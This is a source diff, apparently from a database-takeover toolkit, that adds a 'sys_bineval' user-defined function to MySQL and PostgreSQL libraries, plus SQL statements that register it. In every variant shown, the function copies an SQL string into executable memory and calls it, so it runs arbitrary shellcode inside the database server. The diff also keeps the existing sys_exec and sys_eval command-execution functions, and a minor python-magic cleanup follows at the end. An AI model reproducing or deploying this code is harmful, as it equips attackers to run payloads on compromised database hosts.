CREATE FUNCTION sys_exec RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
CREATE FUNCTION sys_eval RETURNS string SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
CREATE FUNCTION sys_bineval RETURNS int SONAME 'lib_mysqludf_sys.dll';
|
||||||
|
|||||||
@@ -23,6 +23,9 @@
|
|||||||
#define DLLEXP __declspec(dllexport)
|
#define DLLEXP __declspec(dllexport)
|
||||||
#else
|
#else
|
||||||
#define DLLEXP
|
#define DLLEXP
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#ifdef STANDARD
|
#ifdef STANDARD
|
||||||
@@ -191,6 +194,33 @@ char* sys_eval(
|
|||||||
, char *error
|
, char *error
|
||||||
);
|
);
|
||||||
|
|
||||||
|
/**
|
||||||
|
* sys_bineval
|
||||||
|
*
|
||||||
|
* executes bynary opcodes.
|
||||||
|
* Beware that this can be a security hazard.
|
||||||
|
*/
|
||||||
|
DLLEXP
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
);
|
||||||
|
|
||||||
|
DLLEXP
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
);
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
|
||||||
#ifdef __cplusplus
|
#ifdef __cplusplus
|
||||||
}
|
}
|
||||||
@@ -216,10 +246,12 @@ my_bool lib_mysqludf_sys_info_init(
|
|||||||
}
|
}
|
||||||
return status;
|
return status;
|
||||||
}
|
}
|
||||||
|
|
||||||
void lib_mysqludf_sys_info_deinit(
|
void lib_mysqludf_sys_info_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
char* lib_mysqludf_sys_info(
|
char* lib_mysqludf_sys_info(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -250,10 +282,12 @@ my_bool sys_get_init(
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_get_deinit(
|
void sys_get_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
char* sys_get(
|
char* sys_get(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -305,6 +339,7 @@ my_bool sys_set_init(
|
|||||||
}
|
}
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_set_deinit(
|
void sys_set_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
@@ -312,6 +347,7 @@ void sys_set_deinit(
|
|||||||
free(initid->ptr);
|
free(initid->ptr);
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
long long sys_set(
|
long long sys_set(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -352,10 +388,12 @@ my_bool sys_exec_init(
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_exec_deinit(
|
void sys_exec_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
my_ulonglong sys_exec(
|
my_ulonglong sys_exec(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -382,10 +420,12 @@ my_bool sys_eval_init(
|
|||||||
return 1;
|
return 1;
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
void sys_eval_deinit(
|
void sys_eval_deinit(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
){
|
){
|
||||||
}
|
}
|
||||||
|
|
||||||
char* sys_eval(
|
char* sys_eval(
|
||||||
UDF_INIT *initid
|
UDF_INIT *initid
|
||||||
, UDF_ARGS *args
|
, UDF_ARGS *args
|
||||||
@@ -422,5 +462,90 @@ char* sys_eval(
|
|||||||
return result;
|
return result;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
my_bool sys_bineval_init(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
#endif /* HAVE_DLOPEN */
|
void sys_bineval_deinit(
|
||||||
|
UDF_INIT *initid
|
||||||
|
){
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
int sys_bineval(
|
||||||
|
UDF_INIT *initid
|
||||||
|
, UDF_ARGS *args
|
||||||
|
){
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = strlen(args->args[0]);
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, args->args[0], len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
return 1;
|
||||||
|
|
||||||
|
strncpy((char *)addr, args->args[0], len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif /* HAVE_DLOPEN */
|
||||||
@@ -19,6 +19,8 @@
|
|||||||
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA
|
||||||
|
|
||||||
# Adapt the following settings to your environment
|
# Adapt the following settings to your environment
|
||||||
|
#PORT="5433"
|
||||||
|
#VERSION="8.2"
|
||||||
PORT="5432"
|
PORT="5432"
|
||||||
VERSION="8.3"
|
VERSION="8.3"
|
||||||
USER="postgres"
|
USER="postgres"
|
||||||
|
|||||||
@@ -21,3 +21,4 @@
|
|||||||
|
|
||||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS '/tmp/lib_postgresqludf_sys.so', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -25,14 +25,23 @@
|
|||||||
#define BUILDING_DLL 1
|
#define BUILDING_DLL 1
|
||||||
#else
|
#else
|
||||||
#define DLLEXP
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <postgres.h>
|
#include <postgres.h>
|
||||||
#include <fmgr.h>
|
#include <fmgr.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#include <ctype.h>
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
#ifdef PG_MODULE_MAGIC
|
||||||
PG_MODULE_MAGIC;
|
PG_MODULE_MAGIC;
|
||||||
#endif
|
#endif
|
||||||
@@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||||||
memcpy(VARDATA(result_text), result, strlen(result));
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
PG_RETURN_POINTER(result_text);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -25,14 +25,23 @@
|
|||||||
#define BUILDING_DLL 1
|
#define BUILDING_DLL 1
|
||||||
#else
|
#else
|
||||||
#define DLLEXP
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <postgres.h>
|
#include <postgres.h>
|
||||||
#include <fmgr.h>
|
#include <fmgr.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#include <ctype.h>
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
#ifdef PG_MODULE_MAGIC
|
||||||
PG_MODULE_MAGIC;
|
PG_MODULE_MAGIC;
|
||||||
#endif
|
#endif
|
||||||
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
PG_RETURN_POINTER(result_text);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
Binary file not shown.
Binary file not shown.
@@ -21,3 +21,4 @@
|
|||||||
|
|
||||||
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
|
||||||
|
|||||||
@@ -25,14 +25,23 @@
|
|||||||
#define BUILDING_DLL 1
|
#define BUILDING_DLL 1
|
||||||
#else
|
#else
|
||||||
#define DLLEXP
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <postgres.h>
|
#include <postgres.h>
|
||||||
#include <fmgr.h>
|
#include <fmgr.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#include <ctype.h>
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
#ifdef PG_MODULE_MAGIC
|
||||||
PG_MODULE_MAGIC;
|
PG_MODULE_MAGIC;
|
||||||
#endif
|
#endif
|
||||||
@@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||||||
memcpy(VARDATA(result_text), result, strlen(result));
|
memcpy(VARDATA(result_text), result, strlen(result));
|
||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
PG_RETURN_POINTER(result_text);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -25,14 +25,23 @@
|
|||||||
#define BUILDING_DLL 1
|
#define BUILDING_DLL 1
|
||||||
#else
|
#else
|
||||||
#define DLLEXP
|
#define DLLEXP
|
||||||
|
#include <sys/mman.h>
|
||||||
|
#include <sys/types.h>
|
||||||
|
#include <sys/wait.h>
|
||||||
|
#include <unistd.h>
|
||||||
#endif
|
#endif
|
||||||
|
|
||||||
#include <postgres.h>
|
#include <postgres.h>
|
||||||
#include <fmgr.h>
|
#include <fmgr.h>
|
||||||
#include <stdlib.h>
|
#include <stdlib.h>
|
||||||
|
#include <string.h>
|
||||||
|
|
||||||
#include <ctype.h>
|
#include <ctype.h>
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter);
|
||||||
|
#endif
|
||||||
|
|
||||||
#ifdef PG_MODULE_MAGIC
|
#ifdef PG_MODULE_MAGIC
|
||||||
PG_MODULE_MAGIC;
|
PG_MODULE_MAGIC;
|
||||||
#endif
|
#endif
|
||||||
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
|
|||||||
|
|
||||||
PG_RETURN_POINTER(result_text);
|
PG_RETURN_POINTER(result_text);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
PG_FUNCTION_INFO_V1(sys_bineval);
|
||||||
|
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
|
||||||
|
text *argv0 = PG_GETARG_TEXT_P(0);
|
||||||
|
int32 argv0_size;
|
||||||
|
size_t len;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
int pID;
|
||||||
|
char *code;
|
||||||
|
#else
|
||||||
|
int *addr;
|
||||||
|
size_t page_size;
|
||||||
|
pid_t pID;
|
||||||
|
#endif
|
||||||
|
|
||||||
|
argv0_size = VARSIZE(argv0) - VARHDRSZ;
|
||||||
|
len = (size_t)argv0_size;
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
// allocate a +rwx memory page
|
||||||
|
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
|
||||||
|
strncpy(code, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
|
||||||
|
#else
|
||||||
|
pID = fork();
|
||||||
|
if(pID<0)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
if(pID==0)
|
||||||
|
{
|
||||||
|
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
|
||||||
|
page_size = (len+page_size) & ~(page_size); // align to page boundary
|
||||||
|
|
||||||
|
// mmap an rwx memory page
|
||||||
|
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
|
||||||
|
|
||||||
|
if (addr == MAP_FAILED)
|
||||||
|
PG_RETURN_INT32(1);
|
||||||
|
|
||||||
|
strncpy((char *)addr, VARDATA(argv0), len);
|
||||||
|
|
||||||
|
((void (*)(void))addr)();
|
||||||
|
}
|
||||||
|
|
||||||
|
if(pID>0)
|
||||||
|
waitpid(pID, 0, WNOHANG);
|
||||||
|
#endif
|
||||||
|
|
||||||
|
PG_RETURN_INT32(0);
|
||||||
|
}
|
||||||
|
|
||||||
|
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
|
||||||
|
DWORD WINAPI exec_payload(LPVOID lpParameter)
|
||||||
|
{
|
||||||
|
__try
|
||||||
|
{
|
||||||
|
__asm
|
||||||
|
{
|
||||||
|
mov eax, [lpParameter]
|
||||||
|
call eax
|
||||||
|
}
|
||||||
|
}
|
||||||
|
__except(EXCEPTION_EXECUTE_HANDLER)
|
||||||
|
{
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic
|
|||||||
License: PSF (http://www.python.org/psf/license/)
|
License: PSF (http://www.python.org/psf/license/)
|
||||||
"""
|
"""
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
import os.path
|
import os.path
|
||||||
import ctypes
|
import ctypes
|
||||||
import ctypes.util
|
import ctypes.util
|
||||||
@@ -42,7 +40,6 @@ class Magic:
|
|||||||
|
|
||||||
magic_load(self.cookie, magic_file)
|
magic_load(self.cookie, magic_file)
|
||||||
|
|
||||||
|
|
||||||
def from_buffer(self, buf):
|
def from_buffer(self, buf):
|
||||||
"""
|
"""
|
||||||
Identify the contents of `buf`
|
Identify the contents of `buf`
|
||||||
@@ -63,9 +60,8 @@ class Magic:
|
|||||||
def __del__(self):
|
def __del__(self):
|
||||||
try:
|
try:
|
||||||
magic_close(self.cookie)
|
magic_close(self.cookie)
|
||||||
except Exception, e:
|
except Exception, _:
|
||||||
print "got thig: ", e
|
pass
|
||||||
|
|
||||||
|
|
||||||
_magic_mime = None
|
_magic_mime = None
|
||||||
_magic = None
|
_magic = None
|
||||||
@@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False):
|
|||||||
m = _get_magic_type(mime)
|
m = _get_magic_type(mime)
|
||||||
return m.from_buffer(buffer)
|
return m.from_buffer(buffer)
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
try:
|
try:
|
||||||
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
|
||||||
|
|
||||||
@@ -132,17 +126,14 @@ try:
|
|||||||
magic_file.argtypes = [magic_t, c_char_p]
|
magic_file.argtypes = [magic_t, c_char_p]
|
||||||
magic_file.errcheck = errorcheck
|
magic_file.errcheck = errorcheck
|
||||||
|
|
||||||
|
|
||||||
_magic_buffer = libmagic.magic_buffer
|
_magic_buffer = libmagic.magic_buffer
|
||||||
